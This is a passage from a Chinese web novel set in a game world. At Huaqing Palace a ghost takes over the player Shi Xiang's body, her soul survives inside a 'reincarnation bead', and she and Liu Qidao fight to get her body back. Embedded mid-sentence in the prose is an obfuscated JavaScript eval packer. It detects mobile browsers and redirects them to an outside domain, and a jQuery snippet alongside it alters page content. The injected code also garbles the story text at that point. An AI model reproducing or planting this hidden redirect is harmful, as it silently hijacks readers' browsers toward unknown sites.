一直以来,蒋玉凤都是以温和的微笑面对玩家的,那种笑容和赵云睿一样,虽然让人看了心生好感,却从来没有任何变化,即使她已经从电脑屏幕中走到了现实里,也让人觉得这就是一个NPC而不是活生生的人;但此刻蒋玉凤的笑容却有了一丝细微的不同,她的目光越过众多玩家,望向了宫城。 释然?欣慰?落寞?遗憾?好像都有,又好像都不是;再定睛看去,又觉得那笑容和往常没有什么区别。 但不知为何,曲小蕨总觉得,她应该是开心的。 她大起胆子走到蒋玉凤面前,蒋玉凤收回望向华清宫的目光,温和地看着她:“恭喜你们完成了一段旅程,这是你们的第五天,奖励天数已经解锁。接下来,我将送你们前往有间客栈进行休息,我会在那里的终点处等待你们继续启程。” “我可以问你一个问题吗?”曲小蕨问。 “我只能为你解答与浪客行规则有关的问题,某一天内的具体规则或事件,不在回答范围之列。”蒋玉凤仿佛能看穿曲小蕨的想法,微笑道。 “就一个!”曲小蕨竖起食指强调,哀求道。 蒋玉凤温和但坚定地摇了摇头。 “好吧。” 曲小蕨垂头丧气地跟在行守身后,同其他人道过别,又往华清宫内走去。 “师父,你不好奇吗?”她边走边问,“柳七刀怎么出来,师襄该怎么拿回自己的身体,那个轮回珠到底应该怎么用、会不会有debuff——” 忽然,她脚步一顿,听到蒋玉凤的声音从身后传来。 那声音近在咫尺,又好像远在天际: “一切众生,从无始来,生死相续,皆由不知,常住真心,性净明体,用诸妄想,此想不真,故有轮转。” “谁!” 柳七刀猛地抬起了头。 睁开眼的一瞬间,他感到一阵头晕目眩,但那突兀在耳边响起的说话声却已经消失了。 渐渐的,曾经被鬼遮掩的记忆像潮水一般再度涌入到柳七刀的脑海里,模糊的视野也逐渐恢复了清晰,入眼便是一轮弯钩一样的残月挂在干枯虬节的老树枝头,昔日高大宫殿只剩下一片残垣断壁,干涸的温泉池中盈满了清泠泠的月光。 柳七刀立刻反应过来,这就是外面的世界,他终于从鬼制造的幻境中出来了! 与此同时,他忽然感觉后背一凉,似乎有一束非常怨毒的视线正在死死地盯着他。柳七刀反应迅速,立刻转过身去,却被眼前诡异的一幕惊得倒吸一口凉气: 鬼就站在他身后,而她的身形竟然被包裹在一团白雾之中,那白雾不断围绕着她变幻着,鬼脸上的表情也是似怒非怒、似笑非笑,双手捧着一颗散发着暗淡蓝光的圆珠,手腕非常明显地颤抖着,好像那珠子有千钧之重。 这又是在玩什么花招?柳七刀警惕地握紧了新亭侯,后退半步,却倏地瞪大了眼睛,头皮发麻起来—— 随着角度的改变,他清清楚楚地看到,包裹着鬼的并不是什么白雾,而是非常模糊的人的轮廓!那身影一刻不停地拉长、缩短、膨胀、聚拢,好像有一股看不见的巨力将它和鬼的身体揉在一起,互相禁锢,彼此间都在暗中挣扎和冲撞,却始终无法甩脱对方;在这个过程中,鬼手中的那颗珠子也像呼吸一样,忽明忽暗地闪烁着。 “柳……七……刀……” 嘶哑的声音从鬼口中发出。 “是……我!” “师襄!”柳七刀脱口而出。 虽然听起来十分扭曲,但那的确是师襄的声音,和鬼那种说话时咬文嚼字、仿佛自带曲调的声音差别很大。察觉到这一点,他心里顿时一热,仿佛大石落地:“太好了,你还在!” “柳……七……刀!” 下一秒,盘踞在师襄身体上的白雾,或者说游荡的魂灵,也发出了同样的声音: “是我!我……才是……师襄!” “啊?” 柳七刀人傻了。 他怔怔地看着面前的一人一魂互相争夺身体的控制权,那张属于师襄的脸上,眼神没有任何焦距,表情时而愤怒,时而冷漠,丝丝缕缕的白雾顺着她的七窍五官涌出,整个画面有一种不可名状的恐怖。 “从我手上拿走轮回珠……”她开口,声音依旧嘶哑,“摔碎它!” 还不等柳七刀有所反应,师襄眼神一变,又道:“不要摔碎轮回珠……她在骗你!” “我是真的……” “我是真的……” 只见师襄的脸上,一只眼睛正直直地盯着柳七刀,另一只眼却轻轻一眨,落下一行清泪来,两道完全相同的声音重叠在一起,回响在这冷清死寂的废弃行宫之中,令人毛骨悚然。 “快啊!” “别信!” 师襄又开口道,相同的声音,不同的话语,从一个人的口中发出。 “我……” 柳七刀欲言又止,新亭侯还握在手里,但他从来没有哪一 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柳七刀听着她们的话,感觉脑袋几乎快要炸开了,就算扔给他一万个尸人,也不会比此刻压力更大。他在一叠声的催促和阻止里咬紧了牙,抬起手,伸向被鬼捧在手里的那颗轮回珠。 这颗珠子上已经有了裂痕,从裂痕里可以看到它的内部也盈着一团白雾,正在缓慢地盘旋着。柳七刀的手指一放上去,就感觉到一阵彻骨的冰凉,与此同时,关于轮回珠的说明黄字也在他的脑海中缓缓浮现。 ——佛曰,我不入地狱,谁入地狱。 ——“这世界总有人要作出牺牲,就让我承载这世间一切苦痛,换来万物繁荣。” 不知道是不是错觉,他感觉热度正在从自己的指尖缓缓流向这颗珠子,而它的光芒,似乎正随着他的触碰重新变得亮了起来。 “别信!别碰!” “砸碎它!” 师襄还在说话。她的一只眼睛还在流泪,另一只眼却十分冷静,整个人仿佛从中间割裂开了一样,声音也越发尖锐起来,在死寂的宫城中一圈一圈回荡着:“没有时间了!没时间了!” 她看着柳七刀从自己的手里拿过轮回珠,双手却依然被看不见的力量束缚着,因为挣扎而直打着颤,急切道:“直接砸碎它,它会透支生命的!快一点,不然我的身体就要被抢走了!” 紧接着,她脸色一变,又说:“别信鬼的话!现在砸碎的话,一切都完了!” 左一句右一句的话,听得柳七刀头大如斗,手上的轮回珠仿佛也有千钧之重。如果他能够选择的话,宁可再来一万个鬼对打也不愿意面对这种恐怖的抉择时刻。 “快动手!” 师襄厉声喝道:“还不砸碎,你要看着我去死吗?!” 柳七刀一震,呼吸都急促了几分,这句话可谓是戳破了他心中最担忧的一点,捧着轮回珠的手甚至微微颤抖起来。 无论这句话出自鬼还是真正的师襄之口,说得其实都没有错,现在她的生死,仅在一念之间。柳七刀无比清楚这一点,但对于目前的情况,他根本无可奈何。且不论他和师襄在第四天之前几乎没有过交际,根本无从判断哪句话才是她说出来的,身边也没有其他可以帮助他做出判断的队友们。 轮回珠莹莹地闪烁着,光芒时幽时明。 怎么办?怎么办? 然而,就在他犹豫的这一刻,更恐怖的事情发生了—— 咔的一声轻响,只见本来已经裂开的轮回珠上,竟然毫无预兆地又多出了一条长长的裂痕。紧接着,细小的裂纹像蛛网一样蔓延开来,瞬间就遍布了整颗轮回珠,而它的光芒也随之暗淡了许多。 “我……”柳七刀看着手中的轮回珠,感觉大脑一片空白,连呼吸都快暂停了,“它……” 它碰瓷啊! “快啊!” 还在和魂灵纠缠的师襄当然也看得见这一幕,声音越发尖锐起来。 “一定要在它完全裂开之前摔碎!” 她看着柳七刀,一张面孔、两样神情,在夜色中显得无比诡谲:“不要动它!就让它自己碎掉!” 死寂的宫城中,一圈一圈回荡着师襄的声音,柳七刀僵硬地捧着遍布裂痕的轮回珠,摔也不是,等也不是,耳边充斥着一叠声的催促,脑海里也跟着嗡嗡作响。正当他手足无措之时,只听师襄那边似乎也是压抑到了极点,厉声呵斥道:“闭嘴!” 这一声爆喝气势十足,柳七刀猝不及防地被吓了一跳,再看师襄那边,竟然真的安静了下来。但下一秒,只见那一直和她纠缠着的魂灵竟被丝丝缕缕地拔除出来,盘旋着,向他手里的轮回珠涌来! 那魂灵显然并不愿意离开师襄的身体,然而还是被扯向轮回珠,好像有看不见的漩涡正在飞速地将它卷入,几息之间,已经看不出原来的形状,更像是一团被拉长的白影。随着它的涌进,本来就满是裂痕的轮回珠不断发出咔咔的细微声响,似乎随时都有可能被这有形无体的白雾撑爆。 “等一下!”柳七刀急忙叫道,因为手中岌岌可危的轮回珠,本能地向后退了两步,排斥着白雾的涌入。 他的大脑已经一片混乱,也不知道这声等一下是叫给谁听的,更不知道这一幕的出现究竟是好是坏。自从第二轮剧情到了关键点之后,每一步发展都完全出乎他的意料,更不用说现在这个见鬼的华清宫里就只剩下他一个人,连个可以商量的人都没有。 ——不对,起码还有一个师襄在这里,但这到底是师襄还是鬼,他完全分不清啊! 柳七刀欲哭无泪地看向师襄,却发现她安静下来之后,又有了新的动作,也不管正在被卷入轮回珠的白影,缓慢地抬起了一只手。 她的动作比柳七刀还要僵硬,仿佛每挪动一寸,都在和看不见的巨大力量做着拼尽全力的对抗,非常费力地,将一根食指抵在了唇前。 这个动作代表着噤声,柳七刀看在眼里,却莫名感觉到了一种休止的意味。 是让他安静,还是让正在被驱逐的、身体里的另一个灵魂安静?又或者是让他停下脚步? 他不知道,但是眼看着白雾已经快要完全被拔离出去,他必须做出抉择了。 61. 第五天·华清宫(六十一) 师襄掩上门,将怀中的琴轻轻放好。 这琴叫做铭光分彗,既不是大橙武也不是特效武器,但外观古雅质朴,放在赤漆柜上,几乎完美地融入进了这间厢房之中,任谁也看不出这其实是一把武器。 也许是为了增加游戏难度,在第五天,玩家们的过图速度似乎有快有慢,而且并没有被分在一处。不过师襄并没有过于担心,她细细地读过了规则,心里对第五天有了大致的把握,只是不知道这个潜藏在华清宫的“鬼”究竟是实指还是虚指,如果是虚指还好,实指嘛…… 她默默地替殷炽捏了把汗。 不过,正所谓术业有专攻,如果说这里真的存在着世俗意义上的鬼魂,那么殷炽怕不是驱鬼手段最多的人。想到这里,师襄打开小队仓库看了一眼,毫不意外地发现里面奇怪的东西又变多了。 眼看着仅剩的几个格子也被占满,趁着这会儿没有NPC在,师襄干脆把仓库整理了一番,如果有像铭光分彗那样能融入游戏背景的道具,就可以直接带在身边了。 “这都是些什么玩意。”她有些无语地将黑驴蹄子扔了回去,“这是什么……轮回珠?” 被师襄拿在手里的,是一颗淡蓝色的珠子,触感冰凉,沉甸甸的,说不上来是什么材质。 这东西在游戏里就是个趣味变身小道具,玩家用了之后就可以变成游荡的魂灵,移速会略微变快,搭配白羽焰翼可以飞出大气层,除此之外就没什么用了,师襄以前在瞿塘峡做美人图的时候偶尔会从玩具箱里掏出来用一用。 不知道殷炽是怎么想的,可能是看到“轮回”又应激了,竟然把它也从赵云睿那里换了出来。 随着师襄的长久触碰,轮回珠的使用说明出现在了她的脑海中。 ——使用:佛曰:“我不入地狱,谁入地狱。” 这使用说明语焉不详,现实中也没有游戏的互动键,她摆弄了一番,轮回珠没有丝毫变化,就顺手将它放下了,在摆满各种摆件的赤漆柜架上倒是也不突兀。 忽然,一种奇怪的感觉涌上师襄的心头。 她向来警惕,立刻转过头环视四周,然而这屋内一切正常,虽然各项陈设都已经不再崭新,但布置摆放,也都十分考究,有一种温润的岁月感。 问题出在哪里?难道是……鬼来了? 第五天的规则里,并没有说明鬼到底是怎样的存在,换言之,它可能是一个人,也可能是一个物件。 师襄的视线缓缓上移到放置乐器的架子上,她放琴的柜架角落,斜倚着一把落满了灰的琵琶。 这琵琶本来就在这里吗? 这个念头产生在心中的一刹,她感觉自己像是被一股巨力猛地撞了一下,站立不稳,跌了出去。那一瞬间,一切感觉都变得虚幻起来,身体似乎失去了重量,而眼前是白茫茫的一片朦胧的眩光。 空气中的氧气似乎在这一刻都不存在了,她无法呼吸,甚至似乎听到了胸腔里残存的空气被挤压时摩擦的声响,不过这一切都只维持了很短的一瞬,很快,四周的一切又重新回归到了原位。 师襄低头看去,目光毫无阻碍地落在地板上。 她消失了,更准确地说,是她的身体消失了。然而,余光中,似乎有什么在动;师襄转过头,瞳孔骤缩,愣在了那里。 她看到了她自己。 那个她在扶着桌子,慢慢地从地上站起来,用十分不熟练的动作掸掉了裙角上的灰,那张在镜子里看过无数次的脸上,露出了一个陌生的、满意的笑容。 “她”轻轻摸了摸喉咙,又细细打量过自己的手,旋即转过身,颇为珍爱地拿起架上的琵琶,拢在怀中。 做完这一切之后,“她”转向师襄,仿佛能看到她一样,优雅地行了一个古韵失足的礼,淡淡微笑道:“多谢。” 师襄心头一凛。 即使是“她”的眼中,也没有师襄现在的模样,更离奇的是,透过自己的眼睛,她看到,自己眼中倒映出来的华清宫,分明是一片残破荒凉之景! 然而,没有给师襄留下任何思考的时间,“她”便轻轻一拨琵琶。 随着短促的乐音响起,好像有一股看不见的浪潮涌过整个世界,窗檐上磕碰的凹痕诡异地消失了,陈旧的摆件焕然一新,从“她”站立的地方开始,一切都在迅速地改变着模样,或者说,有一座新的华清宫正在飞速蔓延着,覆盖在了原本的华清宫之上! 至于师襄,听到那琵琶声的瞬间,她便感觉自己的意识狠狠一颤,竟然溃散起来。 她眼睁睁地看着“自己”转过身,推开门,身形虚幻起来,走进了那个新的华清宫中。死亡的念头在一瞬间划过脑海,即使无法触碰,她还是咬紧牙关,凭借最后的意识将手伸向身后的柜架,想要抽出琴中剑。 奇迹没有发生,她依然无法触碰近在咫尺的铭光分彗,然而,混乱之中,她却意外地摸到了什么,冰凉的触感自指尖传来。 “师襄”慢条斯理地走进了崭新的华清宫,那个虚假的世界也随着她的进入渐渐消失不见。房间里似乎又恢复了常态,时间安静地流逝着,只有“啪嗒”一声,是一颗闪烁着淡淡荧光的珠子,从柜架上滚落了下来。 用诸妄想,此想不真,故有轮转…… 师襄将手里的琵琶放下,转而抱起另一边的琴。 她其实有一瞬间的疑惑,因为拿起琵琶的这个动作完全是她下意识的,但一般来说,她很少做没有必要的动作。不过,NPC们在门外催得急,为了不让他们起疑,师襄抱起琴便出了门,随其他乐师们一同前往按歌台。 如果是其他玩家分到她的身份,估计会感到头疼,但师襄在现实中便自小练琴,虽然古琴多有不同,但基础摆在那里,在人群里摸个鱼也算是轻轻松松。比起在NPC面前保持人设,她的注意力更多放在了华清宫这张地图本身——走在一千多年前的宫城中,本身就是一件非常令人心驰神漾的事情了。 一天的活动下来,NPC没有发现师襄不属于这里,而师襄也没有发现什么与“鬼”有关的异常,唯独傍晚,从按歌台回到梨园、将将要和NPC告别的时候,一个小乐师的无心之语,令她出了一身冷汗。 “师襄姐姐,你来梨园之前,是练琴的么?”那小乐师问她。 “对啊。”师襄立刻答道,敏锐地意识到自己对身份的理解可能出现了问题——她可能并不是琴师。 小乐师认真道:“这两天就要擢选参加梨园宴的乐师了,师襄姐姐,你还是多练练琵琶吧。坐部不缺琴师的,王教习先前又不许我们随便调换,现在调换,怕是来不及了。” 一声轻轻的嗤笑,像幻觉一样,在师襄的耳边响起。她不由一凛,但看着小乐师完全没察觉到异样的、天真的面庞,也只能微笑点头道:“这话在理,我知道的。” 送走这姑娘后,师襄仔细查过了厢房内外,却没有找到任何异常。先前那声贴着她耳畔的嗤笑,真的就像来自于虚空的幻觉,不留半点痕迹。 装神弄鬼……不,这里本来就有鬼。 更离谱的事情发生在当日夜里,小乐师半夜起夜,看到一个獠牙狰狞的笑面鬼伏在她屋子的窗棂上,月色清朗,树影重重,一声尖叫惊动了半个华清宫。来调查的府卫将梨园围得水泄不通,师襄一边安慰着惊魂未定的小乐师,一边在内心思索着接下来的事情。 这张图里究竟有几支队伍、这些队伍中是否还潜藏着人机,都是未知数。贸然将NPC扯进找鬼一事来,不一定是真的有利。这样想着,她无意间低头看了一眼,发现自己怀中抱着一把琵琶。 ——这应当是被惊醒时出门顺手拿上的。从小乐师的话中,她已经得知了自己的真实角色,其实是“坐部琵琶乐师”,时时抱着琵琶,不仅不突兀,还有利于巩固人设。 但师襄仍然眉头紧锁:如果真的有鬼在梨园,时刻不离手的,应该是自己的琴才对。 这个念头只是在她的脑海中一闪,就莫名其妙地消失得无影无踪了。 对大多数人来说,这个闹鬼的夜晚都是一个不眠之夜,师襄也是如此。她这一晚睡得很不安稳;需要戒备是一方面,另一方面,总有一种似乎忘记了什么事情的不安感萦绕在她的心头,对于对自己抱有绝对自信的师襄来说,这是以往从来没有出现过的情况。 好在次日,她就在从按歌台回来的路上看到了自己队里的熟人:殷炽面无表情地站在开阳门下,看似尽职尽责,但师襄知道,他肯定已经神游万里去了。 浪客行大概是有点恶趣味在的,让一个脸盲症看大门,能看出个毛线来。 她谎称遗落了发簪,和殷炽接上头,顺手把另一边的监门卫平沙去了墙根,利用这来之不易的时间,两个人迅速地对了一下目前的情报。 一切看似都在按部就班地发展着,但直到回到屋内,面对着铜镜取下“找回”的发簪时,师襄心中还是有一种隐约的不适感。 她看着镜中的自己,微蹙的眉头慢慢舒展,露出一个微笑来。 “你们在找我么?” 她张开嘴,慢慢地、一字一句地,说出了这样一句话。 师襄浑身如坠冰窟。她失去了对身体的控制权,眼睁睁地看着自己站起来,将木窗推开一条缝隙,伸出手,指尖上落着金灿灿的夕阳的余晖。 “留你一缕残魂,果然有用。”她听到自己说,语调很轻,既像是说给她听的,又像是自言自语,“虽然不知道你们从何而来,但这样看来,与以前来的那些人,也没什么区别……可惜他们最多也只能撑得七天,不知道你们又能坚持多久。” “……至于你,也是时候道别了。” 师襄,或者说鬼,轻轻地呼出一口气,在耀眼的夕照中闭上了眼睛,但片刻后,她忽然惊疑不定地睁开眼,平静得像是面具的表情,第一次被打破。 与此同时,掉落在地的轮回珠幽幽地亮了起来。短暂被抹除的记忆回归到脑海之中,师襄也在心中冷冷一笑。 鬼应该怎么都想不到,轮回珠竟然误打误撞地将她的魂魄收纳了起来,让她彻底魂飞魄散的打算,恐怕要落空了。 但话又说回来……轮回珠到底是什么玩意? 这是一种很奇妙的感觉,她没有身体,自然也应该已经失去了五官,却还能看到、听到、感受到外面的世界,好像自身冥冥之中与天地相连了起来,有一种明净的通透感。在此之外,她还能感受到身边似乎围绕着其他魂魄,但有一层浅而坚硬的屏障,将它们远远地隔开,无法连接到彼此。 那些魂魄是什么?为什么会在轮回珠里? 师襄试着去接触它们,在感受到那道屏障同时,轮回珠那不知所言、云山雾绕的使用说明,再次出现在了她的意识之中。她细细地将这几句话重读了一遍,“弃魂”“地狱”都是具有负面暗示的词语,这意味着使用轮回珠可能要承担一定的风险,但师襄倒没有被这些描述吓到。 反正最坏的情况已经发生了,倒不如放手试一试。 在她坚定了这个念头的一瞬间,那层屏障忽然变得轻薄起来,被师襄的意识轻轻一碰,顿时就裂开了一道缺口。 ——毫无预兆的,大量不属于自己的思维突然从这个缺口中冲进了师襄的脑海! 恐惧、愤怒、哀伤、紧张、激动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691209|173353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、茫然……繁杂的情绪交织在一起,夹杂着无数声音,仿佛数不清的人在齐声发问,重叠的呓语充斥在师襄的耳边,她明明没有身体,却感觉到头疼欲裂,眼前闪过一道道交叠着的身影,陌生的样貌、不同的表情,似乎是自己,又似乎是他人。 庞大的信息量充斥着她的脑海,仿佛要将她彻底冲散,和这些散乱的意识一样,成为在轮回珠里游荡的无名残魂。 他们是谁?她又是谁? 短短一刹,她似乎走马观花地经历了一生,新生、死亡,漫长的光阴如书页翻动般飞快地掠过,海量的信息流像大坝决堤后的怒涛狂浪,将她所有的自我意识都席卷进无底的漩涡,只剩下无尽的下坠与沉沦。 在数不清的纷杂的念头里,有一种相同的声音逐渐汇拢到一起,传递出一种巨大的迷惘。世界上的所有色彩都已经不复存在,向前与向后都是一片灰暗,看不到任何来路与归途。 那声音,似乎是很多人的异口同声,又像是一个人的喃喃自语: “我是谁?我要去哪里?我……死了吗?” 最后一个问题出口,师襄立时就是一悚,混沌的灵台忽然闪现一丝清明,硬生生地从那一片混沌的泥潭中,将“自我”的意识猛地拔了出来。 谁死了?!她可还没死呢! 假如有身体的话,师襄相信,现在她一定在控制不住地又哭又笑,那些混乱的、交错闪现的情绪几乎能将人逼疯;但随着她把握住了“自我”这个念头,其他魂魄残存的意识对她的冲击,顿时减弱了许多。 稍微清醒过来了一点,师襄忍不住感到一丝后怕,还好她一直以来就是一个自我观念非常强烈的人,如果换了自我意识稍微薄弱一些的人,都可能在这种混乱之中迷失,也成为无序残魂中的一员。 那样的话,恐怕就要永远留在这里面了。 如果这就是轮回珠所谓的“地狱”的话……那这个称呼,确实一点也不为过。 她努力无视掉那一声声迷茫的质问,继续去冲击那层无形的障壁。不知为何,它此刻已变得像蛋壳一样脆弱,轻轻一叩就寸寸迸裂,嘈杂的世界,也随之安静下去。 如同从深渊下浮出水面,师襄睁开眼,带着凉意的风拂过她的耳边,灰白的视野里,成片光芒格外耀眼,那是华清宫夜晚连片高悬的灯火。 ——她从轮回珠里出来了。 一行抱着花的宫女从师襄身边经过,目不斜视,显然并不能看到她。师襄动作僵硬地低头看了看自己,入眼是灰白的袍子,没有双脚。 ……行吧。 接下来的事,就如同纪空山偶然看到的那样,只不过在她眼里,“师襄”和魂灵的无声交流,实际上是“鬼”和真正师襄的语言交锋。本以为必死无疑的原主不但没死,甚至以一种奇怪的形式又杀回来了,还在试图和自己争抢身体的使用权,鬼当然是又惊又怒。更让它难受的是,它竟然拿这个奇怪的灵魂体束手无措,只能白白浪费能量,将她驱逐出自己的华清宫。 ——但是没用,这灵魂体阴魂不散,消失一段时间之后,又会出现! 鬼难受,师襄也不舒服。她在幻境之外没有形体,每次被黑洞放逐出华清宫后,都会重新回到轮回珠中,想要使用轮回珠,就必须再次经历那种混乱繁杂的意识冲击。 按理说,一个正常人,脑海里同时存在着这么多种不同的意识和情绪,不需要一两次就会被逼疯,但师襄本身就是意志格外坚定的人,次数多了,她竟然渐渐熟练起来,开始心平气和地调整心绪、处理这些情绪,甚至能拨冗思索,这些残魂的絮语到底意味着什么。 在这个类似于死循环的过程中,她似乎听到了一些非常熟悉的声音,却怎么也想不起来是在哪里听过,而且充斥在她脑海里的声音太多了,那感觉就像是忽然把你从一个极其安静的地方扔到了千人大教堂,乱哄哄的,想找到某一个人,无异于大海捞针。 而且,经历得多了,她也能察觉到,其中有一些残魂发出的声音,已经十分微弱,随着那些不甘的情绪被师襄接收、化解,它们也已经处于要消散的边缘;还有一些残魂,发出的声音只是无意义的呢喃,但它们的情绪却格外激荡,师襄根本无法接纳,只能保持自己灵台清明,不受它们的影响。 为什么会出现这种区别?这到底是怎么回事? 这些疑问,在师襄又一次接触到一道残魂的意识时,忽然得到了解答。 那是一道愧疚的情绪,带着浓郁、深沉的悲伤,像是在问师襄,又像是在自言自语: “这只是第五天。我死了,往后姐姐怎么办?” 这是师襄在轮回珠中听到的最清晰的一句话,就像说话的人就在她身边一样。 这句话,让她有些毛骨悚然了;这么久以来在轮回珠里的纠缠,都没有这短短的几个字来得恐怖。 那种强烈的冲击感,让她在这一刻,真正明白了地狱的含义。 与此同时,师襄灵光一现,突然知道为什么她觉得有些声音十分耳熟了。 那分明是她在第四天的悬棺裂谷中,听到过的声音! 那时候,因为视野被黑色蛊虫遮蔽,那诡异又机械的对话,她听得格外清晰;交谈的那三个人,正是三周目玩家唐催寒口中,已经变成人机的三个队友! 他们发出的并不是完整的语句,而是根本无法听懂的、细碎的低语,但那种强烈的不甘和悲伤,几乎像浪潮一样,要将人吞没! “真是……”师襄咬牙切齿道,平生第一次这么想爆粗口。 赵云睿那里为什么会有这种东西!殷炽又是怎么换了这么个玩意儿来! 62. 第五天·华清宫(六十二) “我们就这样无视规则,真的好么?” 华清宫某间宫殿的房顶上,祝灵正低声问。 “怕什么,又不是一次两次了。”陆厌道,坐在檐角边缘,无聊地晃着腿,“NPC来了就跑呗。” 好莱坞一行四人都不再说话,静静地看着天边流云缓慢地飘动着。 “柳七刀也还没出来。”半晌,祝灵正又道。 卫山河终于忍不住了:“这话半柱香之前你就说过了。” 虽然阳光明媚,但迟迟不见柳七刀和师襄的踪影,众人心头始终笼罩着一层阴霾。虽然第五天已经结束了,但和蒋玉凤对话回到客栈的人却并不多,连记不住队和谜语人队都留了下来。 虽然如此,但其实留下来并没有什么用,曾经的那些混乱纠葛,随着第五天结束都已经烟消云散,柳七刀和师襄更是遍寻不见。 “不过你小子什么时候换的轮回珠?真是歪打正着。”陆厌拍了拍殷炽的肩膀,打破略带压抑的气氛,笑道,“我估计以后没人会嫌你浪费玉签了。” 殷炽正在擦自己的链刃,闻言,动作一停,转过头看向陆厌。 陆厌一看他的表情,心里就咯噔一下,果然听到殷炽迷茫道:“不是我换的啊。” “……你说什么?” 在玩家们因为来路不明的轮回珠炸锅之时,柳七刀也在焦头烂额。 他甚至没动手,光是想到因为他的选择错误可能导致师襄彻底被鬼夺舍、再也回不来,就感觉到有点窒息了。 眼看手上的轮回珠不用他砸就快要四分五裂,柳七刀的冷汗已经把背后的衣服完全浸湿了。从真假师襄的举措中就可以看出来,让轮回珠自己碎掉和他抢先动手砸碎,肯定会导致两种不同的结果,但哪一种才是正确的? 仇非、龙葵、谢不若、祁云纵,队友们和其他朋友都不在身边,没有任何人可以求助。这其实并不是他自进入浪客行以来第一次单打独斗,但绝对是最痛苦的一次,没有之一。 ——他的挣扎被真正的师襄看在眼里,也是一阵干着急。 虽然玩家们都已经成功离开第五天,但鬼从他们身上攫取到的生命力还在为它提供支撑,想要把身体的控制权抢回来,并没有那么容易。但是随着她夺回了部分肢体的控制权,她能感觉到,束缚着她的力量正在逐渐变小。 但是她毕竟还没有回到自己的身体里,还需要轮回珠继续容纳自己的魂魄,如果柳七刀在这时候摔碎轮回珠,那真就是功亏一篑了! 咔、咔…… 轮回珠还在不断开裂,其中承载的那些残魂意识似乎找到了突破口,也像凉水滴入滚油一样沸腾起来,甚至有几道已经自裂缝之中逸出。师襄阻止不及,又被这些意识搅得头昏脑胀,忍不住在心中大怒道:“别吵了!珠子碎了你们也没了!回去啊!” 一片混乱不堪中,却有一道声音越众而出,清清楚楚:“别!趁现在让他们走!” 师襄一愣,她绝不会忘记,这正是那个说出了“第五天”的声音,也是让她意识到轮回珠中承载的都是被“淘汰”玩家意识的那个声音。 “谢谢你使用了轮回珠,给大家出去的机会!”那声音听起来非常年轻,语速飞快,“你好师襄初次见面我叫纪湘君你的名字是我从你队友祝灵正那里听说的,我的时间不多,简单来说…… “轮回珠这个道具虽然能容纳死去玩家的魂魄,但同时也在将玩家们的意识抽离给人机,人机越聪明玩家们的意识就越薄弱,这个过程是强制不可逆的!” “你说什么?!”她一时之间大为震撼,恍惚中又让鬼占了上风,趁机对柳七刀叫道:“快砸珠子!” “别烦我!”师襄怒吼,能动的那只手死死捂住自己的嘴。 “啊?”柳七刀满头问号地看着她的动作,一脸绝望。 “没人想被那种鬼东西利用,但是只有使用轮回珠的人承受住这些长年累月积攒下来的负面情绪,才有解脱的可能,多谢你了,师襄!”纪湘君轻快道。 “这时候就不用谢了……”师襄还在消化这巨大的信息量,她越发怀疑,这么重要的道具,真的能在有间客栈被随随便便地换到吗? “没关系,反正我没时间了,正好帮你一把!”纪湘君嘻嘻哈哈,“作为回报,给我姐带一个至关重要的情报吧……你就跟她说,我看似死了其实还活着呢,只要她通关就可以把我一起带出去,出去就能看到一个活蹦乱跳的我了!还有,我一点也没害怕!” 这对苦苦挣扎的所有玩家来说无疑都是一个好消息,师襄精神一震,感受着一股力量将她推向自己身体的同时,脱口问道:“真的么!” 纪湘君嘿嘿笑了一声,随着那股力量的消失,声音也缥缈散去,尾音轻得像一阵不可触摸的风。 “当然是骗她的啦。” 纪空山走过华清宫开满桃花的、长长的宫道,心里突然空了一拍。她愣愣地抬起头,似乎看到一片雪白的鸟羽自天空盘旋而落,伸出手却只有清风抚过。 “不——” 伴随着鬼刺耳的尖叫,师襄的身体重重一震,一阵头晕目眩后回过神来,下意识地松开了捂住嘴的手,发现自己已经夺回了完全的掌控权。 迅速从先前的情境中反应过来,她没有丝毫犹豫,反手便抽出天下士人,铮铮两声琴音,将想要遁走的鬼拉了回来。 “……” 直到看到这一幕,大气也不敢喘一下的柳七刀才猛然放松了下来,忽然从极致的压力下解脱出来,他甚至有一种做梦一样云里雾里的感觉,赶紧确认道:“你是师襄吧?” “是我,辛苦你了。”师襄点点头。 两个人一起看向站在音域中的鬼,到了此刻,这位第五天的boss才算露出真正面目。 实际上,她并没有什么特别之处,除了半透明的身影外,看起来只是一个端正清秀的姑娘,身形甚至有点伶仃,双眉之间有忧思过重而留下的蹙痕,也许是太久没用这个形态出现,有一丝茫然从它的脸上闪过,但随着它的清醒,那张清秀的面孔,也开始扭曲起来。 意识到大势已去,鬼嘶声道:“你不能杀我,杀了我,你的身体会随着我一起朽坏,你也不能活!” 它的话不像作假,柳七刀闻言,赶紧拦住师襄拔剑的动作:“等一下!” “等不了。”师襄挥开他的手,一想到这段时间在轮回珠里遭的罪就怒从心头起,冷冷道,“我反正不信,故事到了大结局就可以凭借嘴遁感动反派让它放弃一切筹谋、直接开始其乐融融地包饺子。” 她话音刚落,第二层幻境也开始崩坏,随着一缕阳光从现实与虚幻交接之处投下,漆黑的天幕像褪色一样迅速亮起,一切已经朽坏崩塌的景色也变回了本来的模样,他们连同鬼一起,回到了真实的华清宫之中。 然而,鬼似乎却看不到这一幕,还在自说自话:“我已经数不清自己度过的年岁了。一旦我消失了,这些岁月统统加诸于你,以一介凡人之身必死无疑,不如与我一起,留在华清宫中,重现昔日辉光!” “浮生有限,光阴无穷啊……”师襄感慨,似是被鬼的说法触动了,正当鬼神色一松时,她却话锋一转,冷酷道,“那就没办法了,反正你必须得死。” 鬼一怔:“什么?” “我其实很好奇,你是不是瞎了,才一直在那里自我感动?” 师襄拨动琴弦,在柳七刀震惊的注视中对着面目扭曲的鬼读了个平沙,操纵着它缓慢地转身: “阮珏,梦该醒了,给你个机会,看看真实的世界。” 鬼受控于师襄,僵硬地转过身去,面对着阳光下的庞大宫殿群。 它的眼中,第一次倒映出华清宫真实的模样—— 